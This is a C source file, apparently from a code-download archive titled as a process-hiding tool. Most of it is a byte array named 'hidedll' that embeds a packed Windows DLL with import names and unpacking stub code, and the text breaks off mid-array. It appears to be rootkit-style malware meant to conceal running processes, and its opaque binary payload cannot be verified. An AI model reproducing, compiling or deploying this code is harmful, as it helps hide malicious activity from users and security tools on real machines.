HP.rar_The Hidden_隐藏进程

#include <windows.h> #include <string.h> #include <tlhelp32.h> #include <psapi.h> #include <stdio.h> #pragma comment(lib,"psapi.lib") char hidedll[]="\x4d" "\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8" "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x0e" "\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69" "\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74" "\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d" "\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x6c" "\x4d\x0d\xf2\x28\x2c\x63\xa1\x28\x2c\x63\xa1\x28\x2c\x63\xa1\xc0" "\x33\x68\xa1\x29\x2c\x63\xa1\xc0\x33\x69\xa1\x3e\x2c\x63\xa1\xab" "\x30\x6d\xa1\x21\x2c\x63\xa1\x4a\x33\x70\xa1\x2d\x2c\x63\xa1\x28" "\x2c\x62\xa1\x12\x2c\x63\xa1\xc0\x33\x75\xa1\x2a\x2c\x63\xa1\xc0" "\x33\x67\xa1\x29\x2c\x63\xa1\x52\x69\x63\x68\x28\x2c\x63\xa1\x00" "\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x02\x00\xbc" "\x90\xe9\x44\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0e\x21\x0b" "\x01\x06\x00\x00\x00\x00\x00\x00\x30\x00\x00\x00\x80\x00\x00\x53" "\x91\x00\x00\x00\x10\x00\x00\x00\x90\x00\x00\x00\x00\x00\x10\x00" "\x10\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04" "\x00\x00\x00\x00\x00\x00\x00\x00\xd0\x00\x00\x00\x10\x00\x00\x99" "\x5f\x00\x00\x02\x00\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00" "\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\xc1" "\x9b\x00\x00\x47\x00\x00\x00\x6c\x90\x00\x00\x3c\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x08\x9c\x00\x00\x08\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6e" "\x73\x70\x30\x00\x00\x00\x00\x00\x80\x00\x00\x00\x10\x00\x00\x00" "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x60\x00\x00\xe0\x6e\x73\x70\x31\x00\x00\x00\x00\xb7" "\x3f\x00\x00\x00\x90\x00\x00\x00\x2e\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\xe0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbd" "\x0a\x00\x00\x00\x80\x00\x00\x53\x91\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x10\x00\x00\xa0\x00\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00" "\x60\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x10\x00\x00\xc8" "\x21\x00\x00\x00\x00\x00\x00\xc2\x90\x00\x00\xd1\x90\x00\x00\xe2" "\x90\x00\x00\xf3\x90\x00\x00\x02\x91\x00\x00\x10\x91\x00\x00\x00" "\x00\x00\x00\x1e\x91\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\xa8\x90\x00\x00\x48\x90\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb5\x90\x00\x00\x64" "\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e" "\x44\x4c\x4c\x00\x41\x44\x56\x41\x50\x49\x33\x32\x2e\x64\x6c\x6c" "\x00\x00\x00\x4c\x6f\x61\x64\x4c\x69\x62\x72\x61\x72\x79\x41\x00" "\x00\x00\x47\x65\x74\x50\x72\x6f\x63\x41\x64\x64\x72\x65\x73\x73" "\x00\x00\x00\x56\x69\x72\x74\x75\x61\x6c\x50\x72\x6f\x74\x65\x63" "\x74\x00\x00\x00\x56\x69\x72\x74\x75\x61\x6c\x41\x6c\x6c\x6f\x63" "\x00\x00\x00\x56\x69\x72\x74\x75\x61\x6c\x46\x72\x65\x65\x00\x00" "\x00\x45\x78\x69\x74\x50\x72\x6f\x63\x65\x73\x73\x00\x00\x00\x47" "\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6e\x66\x6f\x00\x00" "\x00\x02\x20\x00\x00\x00\x76\x30\x00\x00\x00\x10\x00\x00\x02\x00" "\x00\x00\x37\x09\x00\x00\x00\x50\x00\x00\x55\x15\xbc\x32\xa7\x2f" "\xb9\x72\x9c\x60\xe8\x00\x00\x00\x00\x5d\xb8\xb1\x85\x40\x00\x2d" "\xaa\x85\x40\x00\x2b\xe8\x8d\xb5\xd9\xfe\xff\xff\x8b\x06\x83\xf8" "\x00\x74\x11\x8d\xb5\xe5\xfe\xff\xff\x8b\x06\x83\xf8\x01\x0f\x84" "\xf1\x01\x00\x00\xc7\x06\x01\x00\x00\x00\x8b\xd5\x8b\x85\xb5\xfe" "\xff\xff\x2b\xd0\x89\x95\xb5\xfe\xff\xff\x01\x95\xcd\xfe\xff\xff" "\x8d\xb5\xe9\xfe\xff\xff\x01\x16\x8b\x36\x8b\xfd\x60\x6a\x40\x68" "\x00\x10\x00\x00\x68\x00\x10\x00\x00\x6a\x00\xff\x95\x01\xff\xff" "\xff\x85\xc0\x0f\x84\x06\x03\x00\x00\x89\x85\xc9\xfe\xff\xff\xe8" "\x00\x00\x00\x00\x5b\xb9\x2f\x89\x40\x00\x81\xe9\x2c\x86\x40\x00" "\x03\xd9\x50\x53\xe8\x3d\x02\x00\x00\x61\x03\xbd\xad\xfe\xff\xff" "\x8b\xdf\x83\x3f\x00\x75\x0a\x83\xc7\x04\xb9\x00\x00\x00\x00\xeb" "\x16\xb9\x01\x00\x00\x00\x03\x3b\x83\xc3\x04\x83\x3b\x00\x74\x2d" "\x01\x13\x8b\x33\x03\x7b\x04\x57\x51\x52\x53\xff\xb5\x05\xff\xff" "\xff\xff\xb5\x01\xff\xff\xff\x56\x57\xff\x95\xc9\xfe\xff\xff\x5b" "\x5a\x59\x5f\x83\xf9\x00\x74\x05\x83\xc3\x08\xeb\xce\x68\x00\x80" "\x00\x00\x6a\x00\xff\xb5\xc9\xfe\xff\xff\xff\x95\x05\xff\xff\xff" "\x8d\xb5\xcd\xfe\xff\xff\x8b\x4e\x04\x8d\x56\x08\x8b\x36\x8b\xfe" "\x83\xf9\x00\x74\x3f\x8a\x07\x47\x2c\xe8\x3c\x01\x77\xf7\x8b\x07" "\x80\x7a\x01\x00\x74\x14\x8a\x1a\x38\x1f\x75\xe9\x8a\x5f\x04\x66" "\xc1\xe8\x08\xc1\xc0\x10\x86\xc4\xeb\x0a\x8a\x5f\x04\x86\xc4\xc1" "\xc0\x10\x86\xc4\x2b\xc7\x03\xc6\x89\x07\x83\xc7\x05\x80\xeb\xe8" "\x8b\xc3\xe2\xc6\xe8\xd3\x00\x00\x00\x8d\x8d\xd9\xfe\xff\xff\x8b" "\x41\x04\x83\xf8\x00\x0f\x84\x81\x00\x00\x00\x8b\xf2\x2b\x71\x08" "\x74\x7a\x89\x71\x08\x8b\x01\x8d\xb5\xe9\xfe\xff\xff\x8b\x36\x8d" "\x5e\xfc\x83\xf8\x01\x74\x0a\x8b\xfa\x03\x79\x04\x8b\x49\x08\xeb" "\x08\x8b\xfe\x03\x79\x04\x8b\x49\x08\x33\xc0\x8a\x07\x47\x0b\xc0" "\x74\x20\x3c\xef\x77\x06\x03\xd8\x01\x0b\xeb\xed\x24\x0f\xc1\xe0" "\x10\x66\x8b\x07\x83\xc7\x02\x0b\xc0\x75\xeb\x8b\x07\x83\xc7\x04" "\xeb\xe4\x33\xdb\x87\xfe\x8b\x06\x83\xf8\x00\x74\x1f\xad\x0b\xc0" "\x74\x08\x03\xd8\x66\x01\x0c\x3b\xeb\xf3\x33\xdb\xc1\xe9\x10\xad" "\x0b\xc0\x74\x0